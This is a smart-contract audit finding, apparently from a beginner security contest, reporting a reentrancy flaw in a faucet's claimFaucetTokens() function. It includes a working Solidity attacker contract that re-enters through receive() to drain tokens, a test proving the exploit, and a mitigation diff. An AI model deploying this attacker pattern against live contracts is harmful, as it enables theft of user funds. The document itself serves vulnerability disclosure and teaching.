Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens()

Description

  • The claimFaucetTokens() function allows users to claim faucet tokens and, on their first claim, receive a small Sepolia ETH drip (0.01 ETH) to cover gas fees.

  • The ETH transfer is executed via a low-level call{value: …}.

// Root cause
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // external call before state updates
...
}
// Effects executed later
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;

Risk

Likelihood:

  • High — the function is public and unprotected by nonReentrant.

  • Any external contract capable of receiving ETH can easily exploit the issue by re-entering through its receive() function.

Impact:

  • Attacker can repeatedly call claimFaucetTokens() before cooldown and limit counters are updated.

  • Results in unlimited faucet token claims and full depletion of the contract’s token supply.

Proof of Concept

/*//////////////////////////////////////////////////////////////
ATTACK CONTRACT
//////////////////////////////////////////////////////////////*/
# Create a new contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
function faucetDrip() external view returns (uint256);
function getBalance(address who) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract ReentrancyAttacker {
IRaiseBoxFaucet public faucet;
address public owner;
uint256 public attackCount;
uint256 public maxAttacks = 3;
bool public attacking;
event AttackStarted(address attacker, uint256 maxAttacks);
event Reentered(uint256 round, uint256 tokensSoFar, uint256 attackerTokenBalance);
constructor(address _faucet) {
faucet = IRaiseBoxFaucet(_faucet);
owner = msg.sender;
}
function attack(uint256 _maxAttacks) external {
require(msg.sender == owner, "only owner");
maxAttacks = _maxAttacks;
attackCount = 0;
attacking = true;
emit AttackStarted(msg.sender, maxAttacks);
faucet.claimFaucetTokens();
attacking = false;
}
receive() external payable {
if (attacking && attackCount < maxAttacks) {
attackCount++;
uint256 tokensBefore = faucet.getBalance(address(this));
emit Reentered(attackCount, tokensBefore, tokensBefore);
faucet.claimFaucetTokens();
}
}
function withdrawTokens() external {
require(msg.sender == owner, "only owner");
uint256 bal = faucet.getBalance(address(this));
require(bal > 0, "no tokens");
require(faucet.transfer(owner, bal), "transfer failed");
}
function withdrawEth() external {
require(msg.sender == owner, "only owner");
payable(owner).transfer(address(this).balance);
}
}
/*//////////////////////////////////////////////////////////////
TEST
//////////////////////////////////////////////////////////////*/
# Paste this code in RaiseBoxFaucet.t.sol
function test_ReentrancyAttack() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(raiseBoxFaucet));
uint256 beforeContractBalance = raiseBoxFaucet.getBalance(address(raiseBoxFaucet));
uint256 beforeAttackerBalance = raiseBoxFaucet.getBalance(address(attacker));
attacker.attack(3);
uint256 afterContractBalance = raiseBoxFaucet.getBalance(address(raiseBoxFaucet));
uint256 afterAttackerBalance = raiseBoxFaucet.getBalance(address(attacker));
assertTrue(afterAttackerBalance > beforeAttackerBalance, "Attacker balance should increase");
assertTrue(afterContractBalance < beforeContractBalance, "Contract balance should decrease");
}

Recommended Mitigation

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// Checks
- // External call happens before state update
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// Effects
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// Interactions
+ // Perform external ETH transfer only after all internal state updates
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
_transfer(address(this), faucetClaimer, faucetDrip);
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.